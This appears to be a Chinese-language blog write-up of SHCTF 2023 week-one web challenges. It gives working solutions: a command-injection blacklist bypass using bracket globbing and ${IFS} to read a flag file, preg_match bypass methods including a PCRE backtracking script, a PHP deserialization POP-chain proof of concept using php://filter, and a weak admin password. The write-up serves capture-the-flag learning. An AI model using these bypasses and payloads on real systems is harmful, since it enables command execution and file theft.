SHCTF-第一周(个人解题思路)
- ctf
- 2023-10-02
- 1698热度
- 0评论
SHCTF
[WEEK1]babyRCE
<?php
$rce = $_GET['rce'];
if (isset($rce)) {
if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) {
system($rce);
}else {
echo "hhhhhhacker!!!"."\n";
}
} else {
highlight_file(__FILE__);
}
ls没有过滤,先传一个ls看看

[]中括号匹配绕过
例如[a-c] 代表匹配 a-b之间的字符,包括a,b字符本身
匹配范围为当前目录/[a-c][h-j][m-o]/[b-d]a[s-u] flag.txt
相当于
/bin/cat flag.txt
本题就是?rce=/[a-c][h-j][m-o]/[b-d]a[s-u]${IFS}/fl?g
[WEEK1]1zzphp
<?php
error_reporting(0);
highlight_file('./index.txt');
if(isset($_POST['c_ode']) && isset($_GET['num']))
{
$code = (String)$_POST['c_ode'];
$num=$_GET['num'];
if(preg_match("/[0-9]/", $num))
{
die("no number!");
}
elseif(intval($num))
{
if(preg_match('/.+?SHCTF/is', $code))
{
die('no touch!');
}
if(stripos($code,'2023SHCTF') === FALSE)
{
die('what do you want');
}
echo $flag;
}
}
preg_match函数绕过
一般情况下以下几种方式可以绕过该函数
1.数组绕过preg_match只能处理字符串,当传入的subject是数组时会返回false 2.换行符绕过,preg_match不会匹配换行符例如: /?value=%0ashell.php 则会成功传入 /?value=shell.php 3.PCRE回溯限制次数绕过,这个通俗的讲便是重复的填入正常字符串一般往里面插入个100个字母便可,让preg_match函数一直回溯一直回溯,直到吹灯拔蜡返回false
num通过数组绕过
?num[]=1
c_ode只能通过第三种方法不断回溯绕过
只能用脚本import requests
# 设置目标URL
url = 'https://example.com/path/to/your/api' # 替换为实际的目标URL
# 合并 GET 和 POST 参数
params = {'num[]': 1}
# 在 POST 参数内容前添加一百万个字母 "a"
prefix_a = 'a' * 1000000
post_data = {'c_ode': prefix_a + '2023SHCTF'}
# 发送请求,包括 GET 和 POST 参数
response = requests.post(url, params=params, data=post_data)
# 打印响应内容
print("请求响应:")
print(response.text)
[WEEK1]ez_serialize
<?php
highlight_file(__FILE__);
class A{
public $var_1;
public function __invoke(){
include($this->var_1);
}
}
class B{
public $q;
public function __wakeup()
{
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->q)) {
echo "hacker";
}
}
}
class C{
public $var;
public $z;
public function __toString(){
return $this->z->var;
}
}
class D{
public $p;
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['payload']))
{
unserialize($_GET['payload']);
}
?>
poc<?php
//highlight_file(__FILE__);
class A{
public $var_1;
}
class B{
public $q;
}
class C{
public $var;
public $z;
}
class D{
public $p;
}
$poc = new B();
$poc->q = new C();
$poc->q->z=new D();
$poc->q->z->p=new A();
$poc->q->z->p->var_1='php://filter/convert.base64-encode/resource=flag.php';
echo urlencode(serialize($poc));
?>
[WEEK1]登录就给flag
弱口令admin和password
就会有flag
[WEEK1]飞机大战
F12,打开调试器,找js,找到won函数,下面有给unicode编码的字符串,Unicode和base64解码就是flag

[WEEK1]生成你的邀请函吧~
给了提示POST一个json即可API:url/generate_invitation
Request:POST application/json
Body:{
"name": "Yourname",
"imgurl": "http://q.qlogo.cn/headimg_dl?dst_uin=QQnumb&spec=640&img_type=jpg"
}
bp直接抓包改包,改成如下,最好不要发到repeater,因为返回的是一个图片,返回的时候会乱码

最下面就是flag

